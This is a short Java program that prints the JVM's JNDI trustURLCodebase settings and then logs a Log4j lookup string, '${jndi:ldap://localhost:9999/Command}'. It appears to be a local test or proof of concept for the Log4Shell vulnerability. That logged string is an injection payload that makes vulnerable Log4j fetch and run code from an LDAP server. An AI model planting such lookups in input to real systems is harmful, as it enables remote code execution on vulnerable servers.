import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;

public final class App {
    private static final Logger LOG = LogManager.getLogger(App.class);

    private App() {
    }

    public static void main(String[] args) {
        System.out.println("com.sun.jndi.rmi.object.trustURLCodebase: " +
            System.getProperty("com.sun.jndi.rmi.object.trustURLCodebase"));
        System.out.println("com.sun.jndi.cosnaming.object.trustURLCodebase: " +
            System.getProperty("com.sun.jndi.cosnaming.object.trustURLCodebase"));
        System.out.println("com.sun.jndi.ldap.object.trustURLCodebase: " +
            System.getProperty("com.sun.jndi.ldap.object.trustURLCodebase"));
        LOG.error("Log: {}", "${jndi:ldap://localhost:9999/Command}");
    }
}
